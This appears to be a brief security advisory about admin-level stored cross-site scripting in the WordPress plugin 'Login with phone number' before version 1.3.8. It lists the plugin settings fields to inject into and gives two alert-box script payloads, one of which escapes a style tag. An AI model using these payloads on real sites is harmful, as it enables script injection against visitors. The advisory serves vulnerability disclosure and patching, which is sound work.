Login with phone number < 1.3.8 - Multiple Admin+ Stored XSS

Plugin settings > Style Settings > button border radius (or other field) put to input field: </style><script>alert('XSS');</script><!--

Plugin settings > Text & localizations > Title of login form put to input field: <script>alert('XSS');</script>